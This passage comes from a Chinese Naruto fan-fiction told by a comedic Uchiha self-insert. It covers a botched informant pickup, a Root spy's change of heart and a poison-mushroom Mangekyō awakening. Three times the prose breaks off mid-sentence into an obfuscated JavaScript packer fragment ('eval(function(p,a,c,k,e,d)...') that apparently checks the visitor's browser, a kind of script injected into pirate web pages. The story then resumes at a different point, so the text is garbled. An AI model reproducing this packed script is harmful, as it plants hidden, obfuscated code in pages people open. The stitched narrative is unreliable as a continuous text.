至于线人为什么突然把交接时间提前了那么多,就是因为作为一个长期潜伏的暗探,线人因为工作太出色而深受上峰信赖,临时通知他准备把他调回岩忍村内部继续从事情报工作,属于是三年又三年、再做就要从合同工混成敌方情报正式工的经典……不是,惨痛剧情。 当然,主要是探子的身份经不住岩忍村内部更严格的审查,因此他紧急传信给木叶申请尽快脱离。 止水班全体扮作了行走两国的游商,本来的安排是与线人以交接货物的名义在城外接头,然后线人顺势藏于货物之内被我们带走,结果等到我们赶到地点时,线人已经陷入了人生的大危机之中。 “她是谁?不是说好的只有我一个人吗?!” “你怎么好意思问我是谁,你缠着我老公干什么!” “老公!老公你说句话啊!” 被修罗场夹在正中间的线人向我们投来求救的眼神。而在大家窒息般的沉默之中,鉴于止水暗中提醒我们周围被数名岩忍包围监视,这场闹剧是反向钓鱼也说不准,我把我的队友往前一推。 我说:“你们不要命啦!” 我说:“把我们椿子和信子放在何处!” 椿:“……” 信:“……” 不错,一个黑长直(白眼经过掩饰版),一个灰紫中短发,两个人都是与我相仿的年纪,眉清目秀,面颊依旧带着没被岁月熬干的软肉,再加上衣着也很中性,乍一出场竟然真让对方迷糊了一分钟。 因为信子和椿子的加入,线人这次同时挨了暴怒的妻子与情人两巴掌,现在左右脸肿的非常对称。 线人:“……” 止水不动声色地远离我,不过他实在是多虑了,毕竟他虽然五官同样精致,却实在已经过了秀丽难辨的年纪。而信与椿虽然对我杀心渐起,但依旧按照先前商量的B方案负责吸引敌方注意力,而我和止水就该趁此机会…… 但毕竟大家都不是游戏世界按照编好程序行动的NPC。被写轮眼增强到极致的动态视力让我顺利躲过了第一波袭击,这并不是一个主要据点,因此这些察觉到线人不对而被派出的岩忍也算不上精英,而喜欢搞人海战术的岩忍村在战后人才凋零,两重buff叠加之后我面对的就是等级比我略高、个性横冲直撞的经验包敌人。 一波土遁的尘土飞扬之后,止水消失在战场,而线人则发出不可名状的尖啸。原因是那左右开弓扇他的两位清秀女子褪去变身术的效果后,一个两个都是胸肌巨大能夹死人的肌肉大汉。 我说:“哇哦。” 而此刻,暂时脱离威胁的线人终于能直抒胸臆、把他平白无故被毁清白的愤怒与不甘伴随两行男儿的清泪喊出来:“我*木叶脏话*我还是个处男啊!!!” 他怒气上头就要冲进战场,被我礼貌地幻术了一下后,一头栽倒在地然后被我向后丢进远离战场的树丛里。于此同时与我对上视线的几个岩忍瞬间被幻术控制,情报的不对等让他们完全没想到队伍配置豪华到除了木叶的上忍还能有一个宇智波的三勾玉,立时被我得手。但这不意味着我就能占据上风了。 写轮眼依旧能清楚地将视野内所有运动轨迹拢归、判断,但身体速度已然跟不上从四方投掷而来的忍具,椿在我身旁落下,帮我击飞几只苦无,他问我:“你没事吧?” 我在他银白的眼瞳里看清此刻顺着我脸颊淌下的血迹,属于这个世界的灰暗真实终于在此刻向我揭开一角,但我并没有时间用来伤春悲秋——更何况我是要成为火影的女人,如果连这点小伤都害怕,组织怎么看我,以后要是加入警卫队人民怎么看我,我还能打败我的一生之敌宇智波鼬吗?最重要的是,我的猫会怎么看我! 虽然我现在还没来得及养,但是怪盗团木叶分团就算成员只有我一个也必须拥有一只猫,名字我都想好了,就叫MOMO吧。* 因此在椿担心的视线里我随手抹掉脸颊伤口处浸开的血迹,我先对椿说了声我没事,然后我看着尘土乱飞的小树林战场说:“我有一计。” 椿:“……” 他干巴巴的:“请说。” “椿同学应该能看清楚敌人的位置吧。”白眼的能力就是洞察与透视,我看着椿眼睛周围爆起的青筋,有点好奇他现在的视野里我是不是一个移动的人体骨架。但岩忍紧咬不放,因此我只能言简意赅,“再用幻术我的查克拉支撑不住了。现在我的忍具全都给你,不用客气。” 前一句是假的,我不继续使用写轮眼一部分是为了留存体力防备至今消失不见,据椿说是和一部分岩忍缠斗离开的信。 而最主要的是因为进入心灵世界后我会脱离对现实的感知,出来后又不知道会落到哪个地方——如果刚好在敌人的刀口下这大概能成为木叶历史上死亡方式搞笑评选第二名。而我的队友说不定则会因为我的消极比赛暴毙当场,所以我将我腰间的忍具包取下,但没急着给椿。 且战且退之间,又是一个岩忍在椿的柔拳中倒下。而我在他迷惑的眼神中,从衣服的暗袋里拿出之前路边采的,被止水强烈拒绝放入锅中、据说有剧烈致幻效果的毒蘑菇,在苦无开刃的地方进行人工附魔。 我站在高高的枝桠上居高临下看着那些岩忍,发出属于反派的邪恶声音:“我的忍具,可是有剧毒的哦。” 我旁边的椿:“……” 但他不愧是队伍里唯一让我感到有人性的队友,椿理解我的想法后弯着眼睛笑起来,看起来还是有些腼腆地夸我:“绪好聪明。” 但敌人就不是这样想了,本来还看不起我手里那几个花里胡哨的蘑菇,但在椿如高射炮般密集的精准打击中,还能站立的同伴接连发出“嘿嘿嘿尸体在说话”“哈哈哈我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我沉下表情,哪怕自认已经做好心理准备,但看到泼洒开的血迹还是感到本能的不适:“……为什么不留下审问情报?” 信笑着说:“这种小喽啰能知道什么?” 我无言以对,毕竟我自己也很清楚这完全是我强行找出的理由。这个世界阴暗而充斥战争残余的萧条与寂败,丛林法则是不变的定理,人的性命或许不会比草芥更值钱。 信端详地看我,“难道是说,你在发散你的同情心?”他复又笑起来,瞳孔无光而充满深灰阴影,他讥嘲道,“这个世界可不值得你这样。同情心太泛滥的话,可是会死的哦?” 这一刻,他算是彻底揭露了他敌对的身份。 我垂下眼,再度抬头时心情已经重新恢复了平静。我盯着他道:“如果世界本来如此……那么我会改变。” “我来改变。” 事到如今我无奈发现我的中二病是好不了了。而这句话我并没有说的多大声,毕竟要是大吼就能达成愿望我早就大吼出声了。下一刻,我立即往身旁跳开。 信在此刻不再藏拙,写轮眼捕获到他的动作轨迹,我的身体却完全跟不上直直朝我斩来的刀光。他依旧是那副开朗的面容,眼睛却是刻意闭起,在我面前毫无顾忌的展露出他真实的、残酷的那一面:“大人口中的「宇智波的天才」,难道只有这种程度吗?” “如果只是这样,那么——” 反派死于话多真是一句永恒的真理。话语未半,信的攻击被从斜侧挑来的刀脊稳稳架住,刀身翻转,寒光映照间短暂映出我脸上的凝重,以及来人微弯而眸色漆黑的眼瞳。 “抱歉,我好像又迟到了。” 止水轻描淡写地意图掩盖他缺乏时间观念的事实。而在我的怒目而视之中,他笑得开朗:“刚刚做的不错哦,可以给你打九十分。” 我没忍住:“少十分怕我骄傲吗?” 止水:“也要考虑一下线人的感受啦。” 他又说:“你把我送给你的刀扔出去了,我看到了。” 我:“……” 我左右看看吹起口哨来。 而这几句话之间,没想到他居然能这么快脱身的信露出惊讶表情,本能地回手防守,刀刃削薄,而止水轻巧翻手,那柄刀就以不可挡之势立时而上,立即将信逼迫地后跳退开。 两人的实力差距是我也能轻易看出的鸿沟,止水几乎是用戏耍的态度与信拼刀,几重叠影伴随不绝的刀身撞击声响,信不得不睁开眼,以此来追上止水越来越快、但明显未尽全力的出手速度,而这也让他暴露在我的写轮眼之下—— 【信】:“我输了。” 心灵世界之内,与我一道进入的止水漫不经心地回刀入鞘,不得不说确实被他装到了。而带人进入心灵世界的条件此刻也终于明了:我周身的一定距离内,以及拥有万花筒。 后者是止水之前提出来的,不然无法解释在我旁边的其他人为什么进不来。 我接过他从背上解下的、那把被我当作一次性回旋镖扔出去的刀,止水则说:“下次不要扔了。” 还能有下次? 我眨了眨眼,结果这个已经很会拿捏我的家伙立即报出一串数字,并说明了是这把刀的价格以及,“它已经绝版了哦。”止水笑眯眯和我说。 我:“……” 没等我再冒出一些危险的想法,被忽略的暗影信坚强地再度开口:“我输了。输者没有存在的价值。” 我下意识:“你爆点金币我就承认你的价值。” 暗影信:“……” 止水:“……” 他终于意识到什么,很无奈地看我:“有这么缺钱吗?” 我诚恳点头,止水沉默了一阵后,突然笑起来问我:“你的发票还在吗?” 听出他的话下之意,我眼睛一亮。 我说:“止水老师,你是天下第一好的老师!” 10.“完了止水。” 报销不报销的其实不重要,重要的是此刻我在止水身上感受到的存在感前所未有强烈的师德(真诚) 顾念到独自一人留在外面的椿,加上我的查克拉已经快见底,信的暗影很快因为溃败而跪伏在地。我们两个真是太强啦!我越发坚定了要拉止水入伙的想法。 而在最后一击之前,止水收住刀势,面上笑容的温度冷却了下来。他突然问我知不知道一种咒印术:“舌祸根绝之印。” 虽然是问我,他看着的却是暗影。而暗影信也相当给面子的给出了反应:“……你居然知道这个?” 他表情复杂地抬起头,在我们的注视之中吐出舌头……嗯,虽然外表人模人样,毕竟本质是暗影,“舌头也是黑漆漆的呢。”我诚实地评价。 止水:“……” 止水努力把气氛拉回应有的严肃。他半挡在我面前,阴影遮蔽他年轻明朗的面容,唯独血红的光芒烛照黑暗。之前已经和数名跟踪的根部交过手的止水问:“根部——团藏的目的是什么?为什么要让你隐藏身份加入?” 在现实中为杜绝根部成员泄露情报而篆刻于舌头之上的咒印,在心灵空间内并没能发挥它的作用。被打败的暗影毫无抵抗地就给出了问题的答案:“这不是很明显吗?” 他的目光几乎称得上迷茫,其间星点的火焰摇曳,最终缓慢点亮那双无光彩的眼睛。暗影信定定的看向我们——他看向我们的写轮眼:“宇智波一族身负伟力,却以憎恶为力量源泉,大人怎么可能放心你们留在木叶。” “写轮眼以及它带来的力量,应该掌握在心系木叶的这一方——也就是团藏大人手里。”信平铺直叙的话语里昭示出了教导他这一切的人的疯狂野望。对于后一个问题,他看向我,露出略带恶意的笑容,“如果你不足以配上天才这个称呼,就由我带走你的尸体。很显然我低估了你。” 我:“?” 我意识到他在说什么后,指着他转头对止水,表情不可思议地告状:“他也馋我身子!” 止水:“……” 止水:“为什么是也?” 总之他好像被呛到了一样猛地咳嗽一阵。但暗影信的话语里透出的信息让他很快又沉下脸色,于是我听到了一个隐藏着黑暗力量……不是,一个让我眼前一黑的故事。 我说:“所以你就和团藏等高层做了一个交易——你来说服宇智波不要反叛,换取木叶高层暂时不对宇智波出手。” 我:“……” 我沉默一会,止水有一种不好的预感,但他没来得及阻止我,我就已经面无表情开口:“你信他怎么不信我是宇智波斑。你好,我是传奇忍者宇智波斑,其实我没死,中间的忘了,打钱,等我统一忍界后必有你好果汁吃。” 我在止水“……”的表情里堂堂伸手。 就算原著的血案此刻尚未发生,被背刺的惨痛事实也已经摆在面前,止水找不到能反驳我的地方,只能吐槽我“不要对祖先的英灵不敬啊”,根本不知道他英明神武的祖先以后可是会只穿秋裤开四战呢! 总而言之,放任下属遭受职场欺凌(?)的屑上司遭受了他应得的报应,在止水被哽住的表情里我意满离。而他大概是围观的时候被我在信面前夸下海口的、改变世界的愿望感染而认可了我,不仅向我坦露了从开眼开始、族内与村子对我的安排背后的事情真相,还主动要求加入怪盗团—— “我有一个一生一次的请求。” “你能不能叫我一声周可儿。*” “暗影什么都会做的!” 暗影信:“?” …… 我并没有因为止水的话想起什么,毕竟我说了我上次看火影还是上次。在暗影消散、我进行例行的开宝箱环节时,除了我心心念念的火之国货币外,我额外拿到了一张照片。 照片中心是两个衣服形制相同的小孩子,大一点的那个揽住小的肩膀,看起来应该就是信和他的弟弟。 我看着那个黑发黑眼、肤白貌美,很有几分宇智波气质……不,完全就是刻板印象宇智波的小孩,表情逐渐凝重起来:“根部由团藏领导,信是根部的人。而他的弟弟……” 也是根部。 团藏图谋写轮眼,甚至派信借着任务杀人夺眼……我迅速头脑风暴起来,感觉宛如置身宇宙之中,无数信息洪流正朝我扑面而来。 本以为这已经是他的下限,没想到他根本没有底线。 我:“……” 我:“明白了,此人乃死敌。” 我必将此等为一己私欲拆散宇智波家庭的邪恶之人绳之以法。 止水没说话。但看他逐渐沉重的表情大概是和我想到了一块去。 *** 我万万没想到,继发现团藏拐卖幼年宇智波意图人工养殖写轮眼(?)一事之后,我竟然又在这荒郊野外、绝非宇智波惯常出没地点的地方发现了又一个宇智波的痕迹。 事情还要从我们离开心灵世界后说起。我们这次xy轴不知有何变化,但z轴变化的一目了然——我们竟然从地上转换位置到了一个不知道多深的地洞里。 我:“……” 止水:“……” 地洞与地道相连,其内早已坍塌了大半,不知是被哪个狂野忍者弃置不用后辣手毁灭。黑暗里头顶一团久经岁月的渣土扬着灰尘掉下来,为此刻本就如死一般沉默的气氛再添一层窒息。 我:“……” 止水:“……” 终于在灰尘弥散之际,我忍了又忍,还是没忍住打了个喷嚏,打破了这于死寂中逐渐险恶起来的气氛。下一秒,立即又有一团渣土被震落下来,狭窄空间里落点非常巧妙地砸中了止水。 我:“……” 我:“……” 我:“……” 怎么办好想笑。老天有眼啊! 黑暗遮掩了止水脸上笑里藏刀的表情,他拍掉头上的灰尘,但还是能听得出他以平静掩饰的话语里的几分咬牙切齿:“……先顺着地道走一走看看吧。” 地道的尽头或许已经没有通路,顾虑氧气稀薄我们也没有点起火光。哪怕是以写轮眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我把它插立在地,连同止水于黑暗中静立。我双手合十,向着这位不知名的宇智波前辈诚挚地许下愿望。 前辈,你的在天之灵还请保佑我。 以后我每年都会给你烧纸哒! *** 椿原本在照顾昏厥的线人与情况不对的队友,在听到一阵地动山摇的声响后焦头烂额地跑去察看,发现他莫名消失了一段时间的老师和另一位队友正一前一后、形容狼狈地从地上被破开的洞里爬了出来。 止水:“你这个查克拉控制的太粗暴了——” 我:“能用出来土遁就不错了——” 椿:“老师、绪!不好啦信他——” 不久之后。 信坐到我旁边:“能占用你一点时间吗?我想向你了解一下正直善良、德艺双馨的宇智波一族。”* 我:“……” 我冷静地移开嘴边的水杯。 11.“正直善良宇智波。” 正直善良宇智波,德艺双馨宇智波。 此话一出,止水表情放空,我拍拍我身边正因喝水被呛而疯狂咳嗽的椿的背。想到这差点就是我此刻的样子,沉默一阵后,我说:“不愧是你,信同学。” 竟然在悔改后还能从这种刁钻的角度暗算我。 而且害我莫名其妙笑了好几下。我决定回去之后就把这两句话写进任务报告里交给富岳。 其实按理来说任务报告一个小队只要写一份提交给火影,但止水说族长很关心我们任务的进度,要求我们回去后同样提交一份给他,以及:“既然如此,我们就事无巨细一点吧。” 他那时候笑的简直像是一只狐狸。于是在对椿子与信子产生极大心理阴影的线人拒绝与我们同行、我们四人慢悠悠回去的路上,餐费、车费、住宿费……当发票层叠堆积起来后,我发现我混进去的属于烤肉店的那份好像就完全不显眼了呢! 我立即:“我的忍具——” 年纪轻轻的止水已经一副眼瞎耳聋的样子,任由发票堆在我的得寸进尺之中像是冬天的麻雀团一样膨胀起来。 而我的两位队友也从一开始的无所适从变成后期的默默加入。 椿出身日向家境小康姑且不提,信是连姓氏也没有的、忍村常见的孤儿出身。因此在他已经悔改、对宇智波观感大反转的前提下,继正直善良、德艺双馨之后我的任务报告再度收获金句: “老板大气!” 暂且不论后来小金库被掏空的富岳在我交上去的任务报告的最后一句看到这四个字是什么心情,在金钱的腐蚀……不是,在金钱的催化下,我和我的队友们感情突飞猛进,在回到木叶的时候已经成为能很自然吃到一桌上去的关系。 我说:“止水老师——” 信说:“第一次任务回来——” 椿被我们撺掇、脸上还有些放不开的羞涩:“一起吃个饭再回家吧?” 止水:“……” 在我们期待的目光中,既然事已至此,“记得开发票。” 他严肃指出。 *** 木叶,南贺川岸边—— “止水哥,你回来了啊。”宇智波鼬今日并不在暗部当值,听说止水班完成任务回村,最终还是在这里找到了人。 他此刻身着族服,顺直的黑发被扎在脑后,没有用面具遮盖的秀美面容上,两行日益加深的纹路折射出了少年身上溢出的过量思虑。鼬说:“延误到现在,是路上又遭遇了岩忍的袭击吗?” 他本就有几分担忧,而在看到族中尊敬的兄长表情变化的那一瞬间,村子与家族的互相猜忌、高层派系间的倾轧……无数牵扯出的背后可能性于他脑海里蜂拥而至,立即让鼬脸上的笑容淡下去,露出其下沉重压抑的真实内核。 止水:“……” 止水刚遭受了连吃带拿的叛逆学生们对他钱包的洗劫,心情却意外的不错。此刻回头看到鼬,尤其是听到他的问话后,不可避免从他联想到富岳,再联想到即将要上交的、厚厚一沓的发票…… 止水思路漂移到另一个位面,此刻露出一个略显虚浮的笑容,决心姑且先这么敷衍过去:“袭击?嗯,算是吧。” 前去的时候只花费四天,回来他们却足足走了有八天,造成这一切的原因并非完全是因为鼬猜测的那样。 事实证明岩忍走量不走质、还因为数量没跟上而成为葫芦娃救爷爷式的袭击只会让他们长成经验包的形状。真正的原因还是在启程之前,宇智波绪恰逢其时的生了一场病。 自称连续使用能力被写轮眼掏空身体的绪:“止水老师,你也不想失去你最得力的下属、最喜爱的学生、最……咳咳咳咳咳。” 在椿走近时,她面无表情地爆发一阵惊天动地的咳嗽,不仅让此时尚且不知世事险恶的队友露出惊恐脸,也让止水:“……” 他忍不住吐槽:“我什么时候认识这么多人了?” 但绪这样肯定不能再进行忍者飞檐走壁的跑酷活动,于是止水班就开始了公费旅游……不是,公费养病的日子。 一路上椿像个老妈子一样担忧的忙前忙后,信更是在换上全新的宇智波滤镜后,绪坐下就给她递水杯、躺下就给她递毯子,并且真正在她吃饭时笑容满面地夸出了“绪居然生病也能坚持自己用筷子吃饭真是当代德艺双馨宇智波”,止水再度:“……” 看到惯常用一张毫无表情的冷脸噎人的学生也捧着碗忍不住抬头露出迷惑的表情时,他快要爆炸的吐槽欲终于算是得到了安抚。而这也贡献了宇智波绪回程时的唯一运动量,她决心对好像哪里坏掉了的信做出物理修正,操碎了心的椿连忙过去拉架。 几个都还是半大少年的学生打打闹闹之间自然而然的加深了感情,于是宇智波就收获了一个日向的友情、一个根部的自愿反水。 止水:“……” 这难道也在你的计划之中吗? 拿出在印象空间里积攒的小金库垫付了集市上不少吃食的绪均匀分开,给队友一人塞了一份,毫无察觉地在他复杂里兼具考量的眼神里同样递给他一份,并附加:“这是发票。” 她丝毫没有忍者风餐露宿的吃苦精神,有贵的绝对不挑便宜的,一点没有要给富岳省钱的意思。 对上那双钴蓝的沉静眼睛,明白不听的话她应该也不会闹,止水还是忍不住会想到信悔改后的惊人表现……不可否认他接下那几张发票时有顺水推舟坑己不如坑富岳的想法,但—— “鼬,你也要坚持做个好人啊。” 面对这个既是理想相通的挚友、又是族内亲近的后辈,止水从漫长的心路历程里挣扎出来,没发现自己的遣词已经完全被另一人同化,本人除了几分“原来她是这个意思”的心有余悸之外还带着点不可避免的心累。止水最终如此嘱咐。 鼬:“……?” 终究只有十三岁的少年仰头,任由大大的问号从他头上生长出来。 止水班首次任务也算是圆满落幕,这个话题很快被两人撇开。当提到村子的近况时,短暂的轻松氛围便连同落日一同沉下,留在村子的鼬提到他又参与了几次南贺神社的集会。 鼬说:“家族的器量……太狭窄了。” 被村子方面不断打压的宇智波们被愤怒裹挟在狭窄的一方天地里,看不清木叶之外、三战匆忙落幕后五大国之间的暗流涌动,不知道眼下或许只需要蝴蝶扇动一下翅膀,摧枯拉朽的飓风就会席卷而来,再度将人间拉入他记忆中的、鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在和队友一起又坑了止水……准确来说是富岳一笔大的后,解散前止水同样叫住我,问我有机会要不要见见他人美心善(?)内外兼修(?)天下第一好(?)的弟弟。说辞也是觉得我们相处的来。 我当时根本没意识到事情的严重性。虽然对木叶兄弟情心有余悸,但我寻思这等拥挤的家哪有我能加入的空隙,简而言之就是与我无关我就看看,自然是无可无不可地顺嘴答应下来。 在我正打算回家的时候,自封为我的头号小弟、害我沾染校霸恶名的鸣人和佐助拉拉扯扯跑到我面前。 鸣人:“小绪姐——” 佐助:“喂,你这个家伙怎么告状——” 本来不想干涉这对命运的偷摸大鸡在打闹里培养感情,但当他们扯头花期间提到言川小和的名字,再结合了一下上下文,我不得不收拾了我一身的想回家躺平的废宅懒骨,告别止水跟着他们一起离开。 事情大致是和上次击败暗影、言川小和的悔改有关,因此我以为我只是秉着良心为重而去进行一次售后服务,没想到这却是雪崩时勇闯天涯的第一片雪花、压倒骆驼的最后一根稻草,不仅让我的名字一夜之间响彻了木叶,还让我成为了往后数十年木叶村内讲述到食品安全案例时都逃不开的…… 活教材。 首先说结果,我开启万花筒了。 12.“须——佐——” 而事情的经过说复杂很复杂,说不简单更是不简单,其中环环相扣,但凡缺失任意一节我都不至于在木叶原地出道……不是,原地社死。总之以后来止水来局子里捞我的话说,就是:“完全就是你的错吧!” 我激动地说:“才不是啦!” 怎么想都是世界……不是,都是邪恶毒蘑菇假借清纯长相欺骗我的错啊! 但放在最开始,我根本没意识到这些全靠鱼目混珠进来的、因为对敌岩忍大胜利而让我觉得好用多用采回来的毒蘑菇丛中的老实菇们,实际的本质也全都是妖艳○货。于是在已经演变成火锅游戏、夹杂“仔细看看那是菜吗就往锅里放!”的崩溃大喊的聚餐里,我最终凭借它们成功吓死……不是,终结了我的队友们无聊的吵闹: “我的蘑菇,可是有剧毒的哦(咬)” 在我的队友们惊恐的视线里,我伸筷子夹起已经在高汤中翻滚一会的蘑菇,塞进嘴里嚼嚼嚼。 除了与我一同对战岩忍的椿以外,止水和信当时一个神隐一个准备暗算我,并不知道我小树林毒蘑菇迫害岩忍的机智。于是在我以身试险(?)以及反应过来的椿替我解释后,一时之间房间内充满了快活的空气。但之后除了拥有宇智波滤镜的信在跟着我动筷子,这两个人都不约而同逃避起了桌子中间咕嘟咕嘟冒着热气的汤锅,也就因此成为了本事件中唯二能保存颜面的幸运儿。 而在聚餐后止水班各自分开、我随着鸣人和佐助前往售后服务第一线时,这些内里焉坏的邪恶蘑菇们的威力已经悄然展现。 比如鸣人就说:“小绪姐,他们人不在那边啊!” 偌大的场地里双方分站两边,呈鲜明对立之势。带着我冲入训练场的鸣人与佐助两人已经露出戒备的姿势,而我在被回头发现我不知道在看什么的鸣人叫住后,若无其事地转回身,使劲眨了眨眼后试探着走出两步往前一站—— 三个言川小和同时激动喊道:“老大!” 我:“?” 此刻我已经发觉了事情的不对劲,但我觉得这大概是我酒喝多了看东西重影的缘故,除了发誓菜就多练外并没有往别的上面联想。而有信的实例在前,我对悔改的力度非常自信,因此这种仿佛不良聚集打群架的场景里能同时涉及言川小和、漩涡鸣人、宇智波佐助三人,必定是有邪恶之人带坏风纪,不出意外就是言川小和口中的老大。 虽然有些困惑为什么如此邪恶之人没有触动我的暗影雷达,但我眼神还是犀利起来,开始在场上梭巡,我倒要看看这无视校园和谐秩序,破坏木叶村风村貌的法外狂徒到底是谁。 没想对面已经闻声色变,纷纷看过来,其中一人深吸一口气,指着我如报菜名……不是,倒豆子般一鼓作气道:“难道你就是三天速通忍校拳打上忍脚踢中忍创建团扇派连言川也不是你一合之敌被无情收做小弟的忍校唯一指定校霸——宇智波绪?” “蓝眼睛的宇智波……没错就是你!” 在自顾自的提问、自顾自的回答,轻而易举用三句话毁我一生清白之后,那人丝毫不顾我大受震撼的表情,转头将矛头直指鸣人和佐助:“好啊,原来你们迟到这么久是去搬救兵了。” “怎么,把老大喊过来就觉得你们可以为所欲为了?我告诉你不可能,绝对不可能!” “——有本事我们一对一单挑啊!” 对比我们这边寥寥四个人简直算是乌泱泱一片的对面,此刻突然开始追求公平公正起来。他们在放下这句狠话后随即陷入一阵骚动,互相争执中不时传来“还是你”“我才不”“不然他”这样的推诿之词,最后终于推出一个人面如苦瓜向我发出挑战。 他抖着声音说:“打、打一架就好了哦,千万别把我打死了。” 我:“……” 比起对邪恶竟是我自己这种回旋镖扎到自己身上的荒诞现实感到无力,我第一反应是摆明自己的态度,而在场的友方……真的能算是友方吗?我现在感觉除了佐助外,这一个喊我老大一个喊我宇智波大姐头的家伙都是包藏祸心,想要在即将赶来的警卫队面前污蔑我让我蹲局子啊! 因此我激动道:“他们诽谤我啊,佐助老师!” 佐助:“……” 佐助:“我在这里。” 他显然不能接受我对着一个训练用木桩子喊佐助。我从善如流地转过身,想起时年六岁的佐助小同学可能还不如木桩子的一半高……我诚恳地低下头,佐助:“……” 在我模糊的视野里,他看起来很像是一只黑漆漆的炸毛……炸刺海胆。 鸣人同样很不满:“小绪姐你干嘛这么叫他啊!我才不要认他当老大的老大啊我说!” 其实是老师不是老大。但大概是被他这句话启发到,佐助明显气顺很多。他再度恢复一贯在外的酷哥脸,语调却不可抑制地带出点优越来:“跟你们这些家伙不一样,我才不是因为被抢劫过……我才不是因为这种无聊的原因来的!” 不小心说露真相一角的佐助立即警惕地追上一句话,而三好学生遭遇抢劫,狂徒反被制裁,背后真相令人暖心—— 言川小和:“是老大!是老大让我明白了爱与正义!” 原来自从言川小和悔改之后,不仅洗心革面在努力打工还上之前抢来的钱(里面包括鸣人的生活费),还主动挺身替被欺负的小朋友出头,此处举例鸣人与不愿透露姓名的海胆同学。 久而久之,他就被另一波校园黑恶势力盯上,要求用忍者的方式解决两个问题: 第一,这个钱到底能不能抢。 第二,这个钱到底谁能来抢。 而忍者的方式自然就是放学后约战训练场,因此当言川小和撸起袖子、喊着羁绊啊友谊啊团扇派绝不认输啊什么的就要冲上去时,我揪着他命运的后脖领把他提起来。我说:“收手吧言川,外面全是警卫队。” 虽然团扇派这个名字听起来不太行,但小学生放学后聚众打架听起来可就太刑了! 这里面水太深了我不敢把握,大概是没想到我竟然不要脸的选择举报,默认大家族都是打了孩子也不会来爹的对面瞬间惊呆了。 佐助不是很服气地撇撇嘴,他就是典型的大家族小孩:被欺负了也不会回去告状,只 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警察拉开警戒线,因为现代的我同样父母双亡,房间内完全是冷淡的工作氛围。法医初步推断我是熬夜猝死,但论起具体情况,“还是解锁一下电脑查看一下内容比较保险。” 他点了几下鼠标,锁屏上我推的绝世美颜立即展示了出来。 法医哦了一声:“还是个二次元。” 我:“……” 因为有密码所以桌面没有暴露,算是给我的脸面留下了最后的余地。但当我看到另一名警察走向我的手机,也是同样的说辞就要打开我的手机时,我:“……” 我瞳孔地震。 虽然同样有密码,但比起主要用来工作的电脑来说,手机里面不可见人的东西可就太多了。我徒劳无力地看着我半透明状的手穿过实体,又想起我设定的心跳低于5时自动销毁全部数据,我目露期待,然后立即在警察“拿回去让技术员恢复数据”“能吗”“能”的简短对话里心死如灰。 就这样眼睁睁看着手机被放入透明的证据袋里,我却毫无办法,我的脑袋顿时断了线。 社死的脚趾抓地感时刻不停的攻击我。 从未感觉到如此无力过的我感觉体内本就到达过临界值的某种力量翻滚起来,勾玉再度如蝌蚪般在我眼中乱窜、融合、联结……手机这种东西,在我离世后就该原地被粉碎啊! 这样的想法出现之后,冥冥之中的,我被牵引着喊出了一个词。 我说:“须——佐——能——乎——” ……………… ………… …… 苍蓝的查克拉逐渐凝聚,宛如外延的骨骼一般围绕在她身周。与此同时,丝毫不加遮掩、昭示铁与血的森严力量感与凌乱黑发间露出的纤细脖颈形成了极度鲜明的对比。 她单手捂住双眼,缓慢抬首时露出的眼瞳内已经再无三颗勾玉的身影,取而代之的是深红血色之上如死神镰刀般旋转的三枚图案。* 当巨人挥起手臂,熔金一般的夕色便如回应般自屋顶大开处流泻而下。 宇智波绪语气冷淡而森然:“别动。” 13.“桃李满天下。” 我对着我的“手机”说:“别动。” 从我的视角来看,“手机”在地上活蹦乱跳、吱哇乱叫,表现的非常不配合,让我比划着柴刀(?)感到无从下手的同时不得不试图开口制止。 所以如果要问我是什么时候反应过来我吃菌中毒的,那答案一定就是现在——在说完这句话后,我突然意识到我居然是在试图安抚激动的手机情绪。 我:“……” 我的表情凝重起来。这一瞬间,岩忍们癫狂的面孔、聚餐时队友被我嘲笑的惊恐脸色一同如走马灯般在我眼前浮现,毒蘑菇的回旋镖竟是如此突然就插回到了我的身上——这样的不敢置信的情绪很快被身体上的痛楚冲淡。随着高达……须佐拔地而起,瞳力与查克拉同时被压榨的我立即感觉身体被掏空。 但痛楚同样让我从幻觉之中挣脱出来。 真实世界里,出现在我视野内的面孔无一例外都展露着震撼,大概是没想到版本的迭代只需要一颗毒蘑菇——问题是我也没想到啊!而且为什么会是这种方式啊!我直接痛苦面具。 但我的同族们脸上很快换上狂喜,凭借写轮眼加强的视力,在他们喊着“你已被包围放弃抵抗”一窝蜂朝我涌过来的同时,我还看到远处有几个暗部极速前往火影楼的方向…… 场面完全已经乱成了一锅粥。 当我抬头从我钱包的天窗里看清外面西沉的红日时,我却只有一种我的人生也就这么落下了的平静的完蛋感。 带着这样的悲戚,在耳边一叠声老大的感动喊叫里,我最终脱力晕了过去。 *** 再睁开眼时,先是在木叶医院。 “你这个毒蘑菇品种木叶这边很少见啊。”医生手里拿着报告单,似笑非笑地看着我,“致幻的效果很强,还被酒精催发了毒素。你现在感到头晕是正常的。” 我说:“医生,失忆也是正常的吗?” “金钱是死的,人活着就好。”医生……团藏意味不明的哼笑一声,从我逐渐颤抖的手里抽出木叶训练场的赔偿报价表,“你还记得你之前说想要加入根部吗?” 我:“……” 我:“这就是在说笑了,团藏大人。” 